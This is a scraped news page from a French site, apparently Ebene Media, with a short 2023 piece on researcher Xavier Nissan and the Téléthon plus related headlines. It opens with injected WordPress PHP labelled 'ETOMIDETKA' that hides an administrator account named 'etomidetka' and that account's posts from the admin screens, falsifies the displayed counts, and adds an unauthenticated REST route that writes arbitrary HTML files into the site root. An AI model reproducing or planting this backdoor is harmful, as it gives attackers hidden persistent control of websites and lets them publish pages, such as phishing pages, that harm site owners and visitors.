//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
Xavier Nissan : « Le Téléthon m’a donné envie de devenir chercheur » – Ebene Media
Home
Actu
Xavier Nissan : « Le Téléthon m’a donné envie de devenir chercheur »
Actu
Xavier Nissan : « Le Téléthon m’a donné envie de devenir chercheur »
Xavier Nissan : "Le Téléthon m'a donné envie de devenir chercheur"
La 37ème édition du Téléthon débute ce vendredi 8 novembre 2023. Xavier Nissan, chercheur spécialiste des maladies monogéniques, participera au Téléthon Gaming qui sera diffusé jusqu’à dimanche soir sur les chaînes Twitch de France Télévisions et de l’AFM-Téléthon. Une intervention qui lui tient à cœur car c’est grâce au Téléthon que Xavier Nissan a eu l’envie de devenir chercheur. C’est un moment essentiel pour la recherche car sans dons, elle ne peut avancer alors qu’il existe plus de 7000 maladies génétiques et que le temps de la recherche est très long. Il faut parfois compter 15 ans pour la constitution d’un programme de recherche. Comme l’explique Xavier Nissan, les deux tiers de l’argent récoltés lors du Téléthon vont à la recherche et le reste est redistribué pour aider les personnes malades. Crevés ? Nous, on n’est pas fatigué ! La matinale de ceux qui veulent se réveiller bien informés avec le meilleur son de 6h à 9h du Lundi au Vendredi. Avec Virginie Hilssone, First Mike, Jules et Faouzi.
Written by
Toute l'actualité en direct. Retrouvez-nous sur les réseaux sociaux:
Abonnez-vous à Youtube: cliquez ici --
Suivez-nous sur Facebook: cliquez ici --
Suivez-nous sur Twitter: cliquez ici --
Suivez-nous sur Tik Tok: cliquez ici
Related Articles
La Russie répond positivement à la proposition américaine de renoncer aux frappes...
ByEbene Media mars 18, 2025
Au matin du 18 mars, les Palestiniens ont été reveillés par des...
ByEbene Media mars 18, 2025
Bien que l’OTAN elle-même commence à parler de l’impossibilité pour l’Ukraine d’adhérer...
ByEbene Media mars 18, 2025
L’entretien téléphonique entre Donald Trump et Vladimir Poutine aurait commencé à 15...
ByEbene Media mars 18, 2025